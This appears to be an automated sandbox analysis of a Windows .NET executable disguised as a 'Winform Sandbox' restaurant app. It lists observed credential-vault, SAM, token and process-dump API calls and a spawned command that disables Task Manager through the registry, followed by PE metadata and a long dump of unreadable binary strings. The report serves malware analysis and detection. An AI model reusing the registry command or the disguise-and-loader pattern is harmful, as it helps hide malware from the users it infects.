wminet_utils.dll.PutInstanceWmi
wminet_utils.dll.PutClassWmi
wminet_utils.dll.CloneEnumWbemClassObject
wminet_utils.dll.ConnectServerWmi
wminet_utils.dll.GetErrorInfo
wminet_utils.dll.Initialize
oleaut32.dll.SysStringLen
kernel32.dll.RtlZeroMemory
ole32.dll.CoUninitialize
oleaut32.dll.#500
kernel32.dll.RegOpenKeyExW
oleaut32.dll.#149
cryptsp.dll.CryptHashData
cryptsp.dll.CryptGetHashParam
cryptsp.dll.CryptDestroyHash
kernel32.dll.GetEnvironmentVariableW
advapi32.dll.GetUserNameW
kernel32.dll.GetComputerNameW
ntdll.dll.NtQueryInformationThread
kernel32.dll.CreateWaitableTimerExW
kernel32.dll.SetWaitableTimerEx
oleaut32.dll.#200
cryptsp.dll.CryptAcquireContextA
cryptsp.dll.CryptImportKey
cryptsp.dll.CryptExportKey
cryptsp.dll.CryptDestroyKey
kernel32.dll.FindFirstFileW
kernel32.dll.FindClose
kernel32.dll.CreateFileW
ole32.dll.CLSIDFromProgIDEx
oleaut32.dll.#2
oleaut32.dll.#7
oleaut32.dll.#6
oleaut32.dll.#201
kernel32.dll.FindNextFileW
kernel32.dll.GetFileType
kernel32.dll.GetFileSize
kernel32.dll.ReadFile
oleaut32.dll.#204
oleaut32.dll.#203
oleaut32.dll.#179
kernel32.dll.GetACP
kernel32.dll.UnmapViewOfFile
vaultcli.dll.VaultEnumerateVaults
kernel32.dll.GetSystemTimeAsFileTime
kernel32.dll.GetDynamicTimeZoneInformation
kernel32.dll.GetFileMUIPath
kernel32.dll.LoadLibraryExW
kernel32.dll.FreeLibrary
user32.dll.LoadStringW
user32.dll.GetLastInputInfo
kernel32.dll.SetFilePointer
kernel32.dll.WriteFile
kernel32.dll.GetStartupInfoW
user32.dll.WaitForInputIdle
user32.dll.GetSystemMetrics
user32.dll.GetClientRect
user32.dll.GetWindowRect
user32.dll.GetParent
ole32.dll.OleInitialize
ole32.dll.CoRegisterMessageFilter
user32.dll.PeekMessageW
user32.dll.WaitMessage
vssapi.dll.CreateWriter
advapi32.dll.LookupAccountNameW
samcli.dll.NetLocalGroupGetMembers
samlib.dll.SamConnect
rpcrt4.dll.NdrClientCall2
rpcrt4.dll.RpcStringBindingComposeW
rpcrt4.dll.RpcBindingFromStringBindingW
rpcrt4.dll.RpcStringFreeW
rpcrt4.dll.RpcBindingFree
samlib.dll.SamOpenDomain
samlib.dll.SamLookupNamesInDomain
samlib.dll.SamOpenAlias
samlib.dll.SamFreeMemory
samlib.dll.SamCloseHandle
samlib.dll.SamGetMembersInAlias
netutils.dll.NetApiBufferFree
ole32.dll.StringFromCLSID
propsys.dll.VariantToPropVariant
wbemcore.dll.Reinitialize
wbemsvc.dll.DllGetClassObject
wbemsvc.dll.DllCanUnloadNow
authz.dll.AuthzInitializeContextFromToken
authz.dll.AuthzInitializeObjectAccessAuditEvent2
authz.dll.AuthzAccessCheck
authz.dll.AuthzFreeAuditEvent
authz.dll.AuthzFreeContext
authz.dll.AuthzInitializeResourceManager
authz.dll.AuthzFreeResourceManager
rpcrt4.dll.RpcBindingCreateW
rpcrt4.dll.RpcBindingBind
rpcrt4.dll.I_RpcMapWin32Status
advapi32.dll.EventWrite
advapi32.dll.EventActivityIdControl
advapi32.dll.EventWriteTransfer
advapi32.dll.EventEnabled
kernel32.dll.RegCloseKey
kernel32.dll.RegSetValueExW
kernel32.dll.RegQueryValueExW
wmisvc.dll.IsImproperShutdownDetected
wevtapi.dll.EvtRender
wevtapi.dll.EvtNext
wevtapi.dll.EvtClose
wevtapi.dll.EvtQuery
wevtapi.dll.EvtCreateRenderContext
rpcrt4.dll.RpcBindingSetAuthInfoExW
rpcrt4.dll.RpcBindingSetOption
ole32.dll.CoCreateFreeThreadedMarshaler
ole32.dll.CreateStreamOnHGlobal
kernelbase.dll.InitializeAcl
kernelbase.dll.AddAce
kernel32.dll.OpenProcessToken
kernelbase.dll.GetTokenInformation
kernelbase.dll.DuplicateTokenEx
kernelbase.dll.AdjustTokenPrivileges
kernelbase.dll.AllocateAndInitializeSid
kernelbase.dll.CheckTokenMembership
kernel32.dll.SetThreadToken
ole32.dll.CLSIDFromString
authz.dll.AuthzInitializeContextFromSid
ole32.dll.CoGetCallContext
ole32.dll.StringFromGUID2
ole32.dll.CoImpersonateClient
ole32.dll.CoRevertToSelf
ole32.dll.CoSwitchCallContext
sspicli.dll.LogonUserExExW
kernel32.dll.InitOnceExecuteOnce
kernel32.dll.CreateSemaphoreW
kernel32.dll.GetFileInformationByHandleEx
kernel32.dll.SetFileInformationByHandle
kernel32.dll.InitializeConditionVariable
kernel32.dll.WakeConditionVariable
kernel32.dll.WakeAllConditionVariable
kernel32.dll.SleepConditionVariableCS
kernel32.dll.InitializeSRWLock
kernel32.dll.TryAcquireSRWLockExclusive
kernel32.dll.SleepConditionVariableSRW
kernel32.dll.CreateThreadpoolWork
kernel32.dll.SubmitThreadpoolWork
kernel32.dll.CloseThreadpoolWork
goopdate.dll.DllEntry
kernel32.dll.RtlCaptureStackBackTrace
ntmarta.dll.GetMartaExtensionInterface
kernel32.dll.CreateMutexExW
dbghelp.dll.MiniDumpWriteDump
rpcrt4.dll.UuidCreate
psmachine.dll.DllGetClassObject
psmachine.dll.DllCanUnloadNow
ntdll.dll.RtlGetVersion
kernel32.dll.GetNativeSystemInfo
winhttp.dll.WinHttpAddRequestHeaders
winhttp.dll.WinHttpCheckPlatform
winhttp.dll.WinHttpCloseHandle
winhttp.dll.WinHttpConnect
winhttp.dll.WinHttpCrackUrl
winhttp.dll.WinHttpCreateUrl
winhttp.dll.WinHttpDetectAutoProxyConfigUrl
winhttp.dll.WinHttpGetIEProxyConfigForCurrentUser
winhttp.dll.WinHttpGetDefaultProxyConfiguration
winhttp.dll.WinHttpGetProxyForUrl
winhttp.dll.WinHttpOpen
winhttp.dll.WinHttpOpenRequest
winhttp.dll.WinHttpQueryAuthSchemes
winhttp.dll.WinHttpQueryDataAvailable
winhttp.dll.WinHttpQueryHeaders
winhttp.dll.WinHttpQueryOption
winhttp.dll.WinHttpReadData
winhttp.dll.WinHttpReceiveResponse
winhttp.dll.WinHttpSendRequest
winhttp.dll.WinHttpSetDefaultProxyConfiguration
winhttp.dll.WinHttpSetCredentials
winhttp.dll.WinHttpSetOption
winhttp.dll.WinHttpSetStatusCallback
winhttp.dll.WinHttpSetTimeouts
winhttp.dll.WinHttpWriteData
advapi32.dll.SetThreadToken
advapi32.dll.RegDeleteTreeA
advapi32.dll.RegDeleteTreeW
nsi.dll.NsiAllocateAndGetTable
cfgmgr32.dll.CM_Open_Class_Key_ExW
iphlpapi.dll.ConvertInterfaceGuidToLuid
iphlpapi.dll.GetIfEntry2
iphlpapi.dll.GetIpForwardTable2
iphlpapi.dll.GetIpNetEntry2
iphlpapi.dll.FreeMibTable
nsi.dll.NsiFreeTable
advapi32.dll.RevertToSelf
shlwapi.dll.StrCmpNW
shlwapi.dll.#153
"{path}"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "{path}"
REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System / v DisableTaskMgr / t REG_DWORD / d 1 / f
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
C:\Windows\system32\lsass.exe
"C:\Program Files\Google\Update\GoogleUpdate.exe" /svc
Global\G{D19BAF17-7C87-467E-8D63-6C4B1C836373}
Global\G{6885AE8E-C070-458d-9711-37B9BEAB65F6}
Global\G{66CC0160-ABB3-4066-AE47-1CA6AD5065C8}
Global\G{0A175FBE-AEEC-4fea-855A-2AA549A88846}
VaultSvc
gupdate

BinGraph Download graph

PE Information

Image Base Entry Point Reported Checksum Actual Checksum Minimum OS Version Compile Time Import Hash Icon Icon Exact Hash Icon Similarity Hash
0x00400000 0x00461742 0x00000000 0x0006dce9 4.0 2020-06-30 04:33:23 f34d5f2d4577ed6d9ceec516c1f5a744 d7fa4c61eee64a320960111c1c362842 920c3027c18f1b01bd763db3bf5579e5

Sections

Name RAW Address Virtual Address Virtual Size Size of Raw Data Characteristics Entropy
.text 0x00000200 0x00002000 0x0005f748 0x0005f800 IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ 7.90
.rsrc 0x0005fa00 0x00062000 0x000041b0 0x00004200 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ 6.53
.reloc 0x00063c00 0x00068000 0x0000000c 0x00000200 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_DISCARDABLE|IMAGE_SCN_MEM_READ 0.10

Resources

Name Offset Size Language Sub-language Entropy File type
RT_ICON 0x00063670 0x000025a8 LANG_NEUTRAL SUBLANG_NEUTRAL 6.60 None
RT_ICON 0x00063670 0x000025a8 LANG_NEUTRAL SUBLANG_NEUTRAL 6.60 None
RT_ICON 0x00063670 0x000025a8 LANG_NEUTRAL SUBLANG_NEUTRAL 6.60 None
RT_GROUP_ICON 0x00065c28 0x00000030 LANG_NEUTRAL SUBLANG_NEUTRAL 2.46 None
RT_VERSION 0x00065c68 0x00000346 LANG_NEUTRAL SUBLANG_NEUTRAL 3.38 None
RT_MANIFEST 0x00065fc0 0x000001ea LANG_NEUTRAL SUBLANG_NEUTRAL 5.00 None

Imports


Assembly Information

Name BamwEud
Version 1.98.4.0

Assembly References

Name Version
mscorlib 4.0.0.0
System.Windows.Forms 4.0.0.0
System 4.0.0.0
System.Drawing 4.0.0.0
System.Xml 4.0.0.0
System.Data 4.0.0.0

Custom Attributes

Type Name Value
Assembly [mscorlib]System.Reflection.AssemblyTitleAttribute Winform Sandb
Assembly [mscorlib]System.Reflection.AssemblyProductAttribute Winform Sandb
Assembly [mscorlib]System.Reflection.AssemblyCopyrightAttribute Copyright \xa9 2017 - 20
Assembly [mscorlib]System.Runtime.InteropServices.GuidAttribute D7AFF0CC-F635-4140-A9B4-0FEA7D211F
Assembly [mscorlib]System.Reflection.AssemblyFileVersionAttribute 1.98.4

Type References

Assembly Type Name
mscorlib System.Runtime.CompilerServices.CompilationRelaxationsAttribute
mscorlib System.Runtime.CompilerServices.RuntimeCompatibilityAttribute
mscorlib System.Diagnostics.DebuggableAttribute
mscorlib System.Diagnostics.DebuggableAttribute/DebuggingModes
mscorlib System.Reflection.AssemblyTitleAttribute
mscorlib System.Reflection.AssemblyDescriptionAttribute
mscorlib System.Reflection.AssemblyConfigurationAttribute
mscorlib System.Reflection.AssemblyCompanyAttribute
mscorlib System.Reflection.AssemblyProductAttribute
mscorlib System.Reflection.AssemblyCopyrightAttribute
mscorlib System.Reflection.AssemblyTrademarkAttribute
mscorlib System.Runtime.InteropServices.ComVisibleAttribute
mscorlib System.Runtime.InteropServices.GuidAttribute
mscorlib System.Reflection.AssemblyFileVersionAttribute
mscorlib System.Runtime.Versioning.TargetFrameworkAttribute
System.Windows.Forms System.Windows.Forms.Form
mscorlib System.Collections.Generic.List`1
System System.ComponentModel.IContainer
System.Windows.Forms System.Windows.Forms.ComboBox
System.Windows.Forms System.Windows.Forms.Label
System.Windows.Forms System.Windows.Forms.Button
System.Windows.Forms System.Windows.Forms.ListBox
mscorlib System.Object
mscorlib System.EventArgs
mscorlib System.Decimal
mscorlib System.Enum
mscorlib System.Runtime.CompilerServices.CompilerGeneratedAttribute
mscorlib System.Diagnostics.DebuggerBrowsableState
mscorlib System.Diagnostics.DebuggerBrowsableAttribute
mscorlib System.Collections.Generic.List`1/Enumerator
mscorlib System.Reflection.Assembly
mscorlib System.Type
mscorlib System.Reflection.MethodInfo
mscorlib System.STAThreadAttribute
System System.CodeDom.Compiler.GeneratedCodeAttribute
mscorlib System.Diagnostics.DebuggerNonUserCodeAttribute
mscorlib System.Resources.ResourceManager
mscorlib System.Globalization.CultureInfo
System.Drawing System.Drawing.Bitmap
System System.ComponentModel.EditorBrowsableState
System System.ComponentModel.EditorBrowsableAttribute
System System.Configuration.ApplicationSettingsBase
System.Windows.Forms System.Windows.Forms.DataGridView
System.Windows.Forms System.Windows.Forms.DataGridViewTextBoxColumn
System.Windows.Forms System.Windows.Forms.DataGridViewCellEventArgs
System System.ComponentModel.INotifyPropertyChanged
System System.ComponentModel.PropertyChangedEventHandler
mscorlib System.Collections.Generic.IList`1
mscorlib System.Collections.Generic.ICollection`1
mscorlib System.Collections.Generic.IEnumerable`1
mscorlib System.Collections.IEnumerable
mscorlib System.Guid
System System.ComponentModel.BindingList`1
System System.ComponentModel.ListSortDirection
System System.ComponentModel.PropertyDescriptor
mscorlib System.IComparable
System.Windows.Forms System.Windows.Forms.GroupBox
System.Windows.Forms System.Windows.Forms.TextBox
mscorlib System.Exception
System.Windows.Forms System.Windows.Forms.DataGridViewRow
System.Windows.Forms System.Windows.Forms.DataGridViewCellStyle
System.Xml System.Xml.Serialization.XmlSerializer
System.Data System.Data.DataSet
System.Data System.Data.DataTable
System.Windows.Forms System.Windows.Forms.BindingSource
System.Windows.Forms System.Windows.Forms.ListBox/ObjectCollection
System.Windows.Forms System.Windows.Forms.Control
System.Windows.Forms System.Windows.Forms.ListControl
mscorlib System.IDisposable
System.Windows.Forms System.Windows.Forms.AutoCompleteMode
System.Windows.Forms System.Windows.Forms.AutoCompleteSource
System.Drawing System.Drawing.Point
System.Drawing System.Drawing.Size
mscorlib System.EventHandler
System.Windows.Forms System.Windows.Forms.ButtonBase
System.Drawing System.Drawing.SizeF
System.Windows.Forms System.Windows.Forms.ContainerControl
System.Windows.Forms System.Windows.Forms.AutoScaleMode
System.Windows.Forms System.Windows.Forms.Control/ControlCollection
mscorlib System.Convert
mscorlib System.AppDomain
mscorlib System.Reflection.MethodBase
System System.ComponentModel.Container
System.Windows.Forms System.Windows.Forms.Application
mscorlib System.RuntimeTypeHandle
System System.Configuration.SettingsBase
System.Windows.Forms System.Windows.Forms.ControlBindingsCollection
System.Windows.Forms System.Windows.Forms.Binding
System.Windows.Forms System.Windows.Forms.DataGridViewCellEventHandler
System System.ComponentModel.ISupportInitialize
System.Windows.Forms System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode
System.Windows.Forms System.Windows.Forms.DataGridViewColumnCollection
System.Windows.Forms System.Windows.Forms.DataGridViewColumn
System.Windows.Forms System.Windows.Forms.DataGridViewBand
System.Windows.Forms System.Windows.Forms.DataGridViewAutoSizeColumnMode
System.Drawing System.Drawing.Font
System.Drawing System.Drawing.FontStyle
System.Drawing System.Drawing.GraphicsUnit
mscorlib System.Delegate
mscorlib System.Threading.Interlocked
System System.ComponentModel.PropertyChangedEventArgs
mscorlib System.Collections.ObjectModel.Collection`1
System.Windows.Forms System.Windows.Forms.DataGridViewRowCollection
mscorlib System.Math
mscorlib System.String
mscorlib System.Comparison`1
System System.ComponentModel.ListChangedEventArgs
System System.ComponentModel.ListChangedType
mscorlib System.StringComparison
System.Windows.Forms System.Windows.Forms.MessageBox
System.Windows.Forms System.Windows.Forms.DialogResult
System.Data System.Data.DataRowCollection
System.Data System.Data.DataRow
System.Windows.Forms System.Windows.Forms.BorderStyle
System.Windows.Forms System.Windows.Forms.TextBoxBase
System.Windows.Forms System.Windows.Forms.ScrollBars
System.Drawing System.Drawing.Color
System.Windows.Forms System.Windows.Forms.DataGridViewTriState
System.Windows.Forms System.Windows.Forms.DataGridViewSelectedRowCollection
System.Windows.Forms System.Windows.Forms.DataGridViewCellCollection
System.Windows.Forms System.Windows.Forms.DataGridViewCell
System.Windows.Forms System.Windows.Forms.DataGridViewAutoSizeColumnsMode
System.Windows.Forms System.Windows.Forms.DataGridViewAutoSizeRowsMode
System.Windows.Forms System.Windows.Forms.DataGridViewContentAlignment
System.Drawing System.Drawing.SystemColors
System.Windows.Forms System.Windows.Forms.DataGridViewEditMode
System.Windows.Forms System.Windows.Forms.DataGridViewRowHeadersWidthSizeMode
System.Windows.Forms System.Windows.Forms.DataGridViewSelectionMode
System.Windows.Forms System.Windows.Forms.FormStartPosition
System.Windows.Forms System.Windows.Forms.FormBorderStyle
System.Windows.Forms System.Windows.Forms.FormClosingEventHandler
System.Data System.Data.XmlReadMode
System.Data System.Data.DataTableCollection
System.Windows.Forms System.Windows.Forms.DockStyle

!This program cannot be run in DOS mode.
.text
`.rsrc
@.reloc
*BSJB
v4.0.30319
#Strings
#GUID
#Blob
IEnumerable`1
ICollection`1
Comparison`1
IList`1
SortableBindingList`1
label1
Form1
dataGridView1
groupBox1
label2
button3
Class3
get_unify4
<Module>
SizeF
get_ecmzTtRWcNehIELunsZbclNxTedL
labelTM
textBoxTM
SDSDSDS
CVVVVVVVVV
value__
System.Data
SaveData
mscorlib
System.Collections.Generic
get_Id
add_Load
OrderForm_Load
buttonAdd
OnListChanged
add_SelectedIndexChanged
lstOrder_SelectedIndexChanged
cbMenus_SelectedIndexChanged
add_PropertyChanged
remove_PropertyChanged
INotifyPropertyChanged
Interlocked
set_Enabled
set_FormattingEnabled
_isSorted
Synchronized
PopulateDataGrid
SelectedGroupDataGrid
GroupsDataGrid
NewGuid
<Id>k__BackingField
<Price>k__BackingField
<ProductsTable>k__BackingField
<Title>k__BackingField
<Name>k__BackingField
<GroupName>k__BackingField
<ProductName>k__BackingField
<MenuType>k__BackingField
<TradeMark>k__BackingField
<Description>k__BackingField
<PhoneNumber>k__BackingField
<SkuNumber>k__BackingField
<Supplier>k__BackingField
<ProductDetails>k__BackingField
<OrderItems>k__BackingField
<MenuItems>k__BackingField
<StorageUnit>k__BackingField
<Category>k__BackingField
DataGridViewBand
buttonAmend
SBind
GetMethod
BamwEud
get_Price
set_Price
get_TotalPrice
RefreshTotalPrice
lblTotalPrice
labelPrice
textBoxPrice
defaultInstance
set_DataSource
set_AutoCompleteSource
BindingSource
source
XmlReadMode
set_AutoScaleMode
set_AutoCompleteMode
set_RowHeadersWidthSizeMode
DataGridViewRowHeadersWidthSizeMode
set_AutoSizeMode
set_ColumnHeadersHeightSizeMode
DataGridViewColumnHeadersHeightSizeMode
DataGridViewAutoSizeColumnMode
set_SelectionMode
DataGridViewSelectionMode
set_WrapMode
set_AutoSizeColumnsMode
DataGridViewAutoSizeColumnsMode
set_AutoSizeRowsMode
DataGridViewAutoSizeRowsMode
set_EditMode
DataGridViewEditMode
AddRange
CompareExchange
get_WhiteSmoke
Invoke
DataTable
get_ProductsTable
set_ProductsTable
IComparable
IEnumerable
IDisposable
dtable
set_RowHeadersVisible
RuntimeTypeHandle
GetTypeFromHandle
numberOfPeople
get_Title
set_Title
DockStyle
get_DefaultCellStyle
set_DefaultCellStyle
set_ColumnHeadersDefaultCellStyle
DataGridViewCellStyle
set_BorderStyle
set_FormBorderStyle
FontStyle
get_Name
set_Name
PersonName
get_GroupName
set_GroupName
groupName
labelPrName
textBoxPrName
get_ProductName
set_ProductName
set_DataPropertyName
Combine
set_Multiline
Phone
ListChangedType
GetType
get_MenuType
set_MenuType
Compare
get_IsSortedCore
get_SupportsSortingCore
get_SortDirectionCore
GroupCore
RemoveSortCore
ApplySortCore
get_SortPropertyCore
get_Culture
set_Culture
resourceCulture
MethodBase
ButtonBase
ApplicationSettingsBase
TextBoxBase
Close
Dispose
Delegate
DebuggerBrowsableState
EditorBrowsableState
DataGridViewTriState
Delete
get_White
STAThreadAttribute
CompilerGeneratedAttribute
GuidAttribute
GeneratedCodeAttribute
DebuggerNonUserCodeAttribute
DebuggableAttribute
DebuggerBrowsableAttribute
EditorBrowsableAttribute
ComVisibleAttribute
AssemblyTitleAttribute
AssemblyTrademarkAttribute
TargetFrameworkAttribute
AssemblyFileVersionAttribute
AssemblyConfigurationAttribute
AssemblyDescriptionAttribute
CompilationRelaxationsAttribute
AssemblyProductAttribute
AssemblyCopyrightAttribute
AssemblyCompanyAttribute
RuntimeCompatibilityAttribute
labelCatalogue
get_Value
GetValue
value
buttonSave
Remove
BamwEud.exe
set_Size
set_MinimumSize
set_MaximumSize
set_AutoSize
set_ClientSize
myserialize
ISupportInitialize
IndexOf
get_Tag
set_Tag
System.Threading
Binding
System.Runtime.Versioning
FromBase64String
ToString
GetString
MainForm_Closing
add_FormClosing
disposing
Operating
System.Drawing
ShowDialog
set_MaxLength
buttonAdd_Click
add_Click
buttonAmend_Click
buttonDelete_Click
buttonSave_Click
buttonCancel_Click
btnClearMenus_Click
buttonEdit_Click
buttonExit_Click
btnAddMenu_Click
btnRemoveMenu_Click
buttonShow_Click
set_Dock
get_TradeMark
set_TradeMark
ToDecimal
Label
buttonCancel
System.Collections.ObjectModel
System.ComponentModel
WinformsSandbox.ComponentModel
IGroupsViewModel
get_GroupsViewModel
set_GroupsViewModel
_groupsViewModel
DataGridViewCell
System.Xml
ReadXml
WriteXml
GetFromXml
get_Control
ContainerControl
ListControl
Program
get_Item
AddItem
get_SelectedItem
get_DataBoundItem
RemoveItem
MenuItem
menuItem
System
EditDeleteAddForm
MainForm
OrderForm
AddEditForm
ShowForm
labelStoreUn
textBoxStoreUn
resourceMan
Vegetarian
AppDomain
get_CurrentDomain
DataGridViewColumn
DataGridViewTextBoxColumn
Application
set_Location
System.Configuration
System.Globalization
System.Xml.Serialization
System.Reflection
DataTableCollection
DataGridViewCellCollection
ControlCollection
DataGridViewColumnCollection
ControlBindingsCollection
ObjectCollection
DataRowCollection
DataGridViewSelectedRowCollection
DataGridViewRowCollection
ListSortDirection
_sortDirection
direction
set_StartPosition
FormStartPosition
Exception
get_Description
set_Description
StringComparison
OnComparison
IPerson
Button
CompareTo
MethodInfo
CultureInfo
get_Gainsboro
Bitmap
set_TabStop
IGroup
GetRandomGroup
Clear
set_ValueMember
get_PhoneNumber
set_PhoneNumber
get_SkuNumber
set_SkuNumber
sender
PhoneOrder
_currentOrder
lstOrder
get_ResourceManager
ProductsManager
get_Supplier
set_Supplier
labelSupplier
textBoxSupplier
PropertyChangedEventHandler
FormClosingEventHandler
DataGridViewCellEventHandler
System.CodeDom.Compiler
IContainer
add_RowEnter
GroupsDataGrid_RowEnter
remove_RowEnter
get_Silver
XmlSerializer
set_GridColor
set_BackgroundColor
set_ForeColor
set_SelectionForeColor
set_BackColor
set_UseVisualStyleBackColor
set_SelectionBackColor
GetEnumerator
.ctor
.cctor
PropertyDescriptor
System.Diagnostics
WinformsSandbox.Models.Interfaces
WinformsSandbox.ViewModels.Interfaces
System.Runtime.InteropServices
System.Runtime.CompilerServices
System.Resources
ProductsManager.EditDeleteAddForm.resources
ProductsManager.MainForm.resources
Restaurant.OrderForm.resources
ProductsManager.AddEditForm.resources
ProductsManager.ShowForm.resources
WinformsSandbox.Properties.Resources.resources
WinformsSandbox.Views.GroupsView.resources
DebuggingModes
AcceptChanges
WinformsSandbox.Properties
get_Tables
EnableVisualStyles
WinformsSandbox.Models.Classes
WinformsSandbox.ViewModels.Classes
get_DataBindings
Settings
ListChangedEventArgs
PropertyChangedEventArgs
DataGridViewCellEventArgs
Equals
get_ProductDetails
set_ProductDetails
labelProductDetails
textBoxProductDetails
get_Cells
get_Controls
get_Items
get_OrderItems
set_OrderItems
get_MenuItems
set_MenuItems
System.Windows.Forms
Contains
get_Columns
set_AutoGenerateColumns
set_AutoScaleDimensions
System.Collections
groupBoxButtons
IGroups
get_Groups
set_Groups
_groups
set_ScrollBars
SystemColors
labelProducts
components
cbMenus
InitializeAvailableMenus
_availableMenus
btnClearMenus
WinformsSandbox.Views
get_Rows
set_AllowUserToAddRows
get_SelectedRows
set_AllowUserToDeleteRows
set_AllowUserToResizeRows
Concat
Format
GetObject
set_MultiSelect
Product
ProductDirDataSet
get_Highlight
buttonEdit
EndInit
BeginInit
get_StorageUnit
set_StorageUnit
GraphicsUnit
buttonExit
get_Default
SetCompatibleTextRenderingDefault
DialogResult
Restaurant
set_Alignment
DataGridViewContentAlignment
InitializeComponent
get_Current
Point
set_Font
get_Count
get_RowCount
Convert
RandomPersonSourceList
get_SelectedGroupBindingList
set_SelectedGroupBindingList
_selectedGroupBindingList
get_GroupsBindingList
set_GroupsBindingList
_groupsBindingList
SuspendLayout
ResumeLayout
PerformLayout
MoveNext
get_Text
set_Text
get_ControlText
set_HeaderText
get_HighlightText
get_WindowText
labelSku
textBoxSku
btnAddMenu
btnRemoveMenu
DataGridView
GroupsView
DataRow
DataGridViewRow
get_Window
buttonShow
get_Index
set_TabIndex
get_SelectedIndex
get_RowIndex
rowIndex
index
MessageBox
set_MaximizeBox
ComboBox
GroupBox
ListBox
TextBox
WinformsSandbox
get_Assembly
set_ReadOnly
RestaurantLibrary
get_Category
set_Category
labelCategory
textBoxCategory
op_Inequality
_sortProperty
WrapNonExceptionThrows
Winform Sandbox
Copyright
2017 - 2020
$D7AFF0CC-F635-4140-A9B4-0FEA7D211F60
1.98.4.0
.NETFramework,Version=v4.0
FrameworkDisplayName
.NET Framework 4
3System.Resources.Tools.StronglyTypedResourceBuilder
16.0.0.0
KMicrosoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator
16.1.0.0
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
hSystem.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aPADPADa
QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Bitmap
IDATx^
f#ldl
j#<Bl
:SX:5
V>`Rq8%
s5E3V
2>4PQ
hw=~
JIF#1
_ftM4
\v1dbW
UIIG{
fx=b_
R7Ssr
|%)n7
e|0YNg
v- U+\@
dth/y
Z?.de
p2K}B
\`5sN/
p'5Fp
]J(9:
%[OxRq
{r!f/
@Vw<Na
mT<.$
aDA&7od0{t
FE|)V
[EG9&\
[<!)W
:"d#"<
3F_/S
qwQ)w/
Mh. h
@>M;.?
OH2BV
J6C-<
-_s]<
3%a2MR
k9QPI
J4;KR
LH_F}
l<\Al
! V+}
'#8?G<
?VZsWg w
1qtXP
V/B^?
$%dU0
}:I=I
!Hg<W
$lk8}
aJ[4wh
6ZVR)_
$u1<>
pgUva
"W`y1
FlFGl
oe%()
]%UEf|s
CD:lq
nnYDC9&
puX0%z#
mmL0f
j-!nC
v1yJ#^
,'\^Y
tXa{
aBUO_Lb
_cFbX
P+ $g'
$w|UPD]
;yOM1
bV6*K
*;NEz[
#v|ly
r`DGk
&j"Vwd
1+QsA(
xcF<RP
W(7/'5G
p\@,L
pyFO9
X'C,t
2g)Ov+
R~#Ku
ge7nU
]~"%?
M`&C4
?`eQCE^
->%gW
@@4Zy
V#{~>
9<NIaH^
>}yJk
}oOT5
L=GEQ
/\-gG
8c{|4
h* ,APK
*nOX)
kO1~O
r*q/:yU
}f.CztE
Tn~~H
Jl")&&
0n$Y6
U9.4|
Ofyl%w
yd>c{{
UR)Dw
BsTi1x
KzR8f
,9LZt
!?sZ=
}p!Cs
71rvT
j{V(1'
.GW2b
+<}PH|
<I4#N
zqx|_
b<>yo8
._9nrr
Eo?`?
~:9!R=Y=YI
dXpEx
*Vi1u1QI
! b2'
#^!6lT5
=^5[O
h 55q
M=yz+
@H`F4
a+A^^
n'CL:vlsF)<
ClB);
>Hh[}
f;Q|u
-G1j3
{iRm$+
$JjoZg
r=Z)E
^!KXn
51~);`
6(Du:@(
{;9&^
?nV(!
K%miF
-2e%o"
pJ8Wr
\|ncXp
D}LcX
dW[{<]
IjT Cd
sixe'
=HtSGj
R6U(M
,gmj>^
RboRp
0VNse
wa?R:
Kb8{a
$>U5c
I;AZ?
C([gp
G,Ktf
|9|A0Y
"xl0e
.],^:
AnzCLOU
NeV76
V6Q2H
tR%:jVX
gFjTY
mESnr
fW{RgE
?~#(d0G
1"{?-5
F,I!Jo
9#HRI
`=Ofb
a\j*"
ULY0X
)',@|_
'wNq_/B.
a:U/.q
=)8}(
)$fD0
y\{1#
qLkUD
g|B5+
bs Vy
LaU_O
SlT3b
4d(&O
$)AOJ
4Lq=VDV
l[4$)
I (1i
eh}Wn
(oq[.
^hX*?
G%=;n
N=e6FO7B
X'@<.K
n}hU4
Kk"/~J!
sQ8?+ap
Rm8On
iwvXnf
_v$xK)
bLz1S`
nHeT
eyfD?
TtFDcn
AK9'y8
d#,Jj(
P.5j,
m/ F=
H9]aDR
hWQ6c'
U'3LbrR
FPQ)B
x5o=b
(.ZGq
kFdnw
aYV=1
.5JL
K$t1&
;y\fo
uRNOzq%@
~qL[/
UGYm%
-a1ur
6~7Lc
|ITz6
T]pN0
wHg|i
B;^(B
6-PX'
4[W+*^
%WGH=
YA|]:
u~)I"
m&K)f9FP
BC[gt
OQ}z>k
h6_Fx
3Fq[iXc/
Zf}ZF
?ph\L
:;.]M
-Sv'gP"*
%L=zQ
spp'F-
CaD~Z?h/3
J0iG^F
3uize
T6+3Q
L'Z:|a
*$%TC
7RNS!~
)}'U'h
sN0iI
"8ue7
X?0dT
&AfrI
J*bqG
*A/KX
-l<X+
v<[j2Y\&
M~>Vp
:\0Y7
;YDHx
w1^zv
&:@_f"
H*T;8
5q5XyE1
e&8L|
KJV +
mmx?{
CM0}x
]my-6
O:HYq+
^3OV|
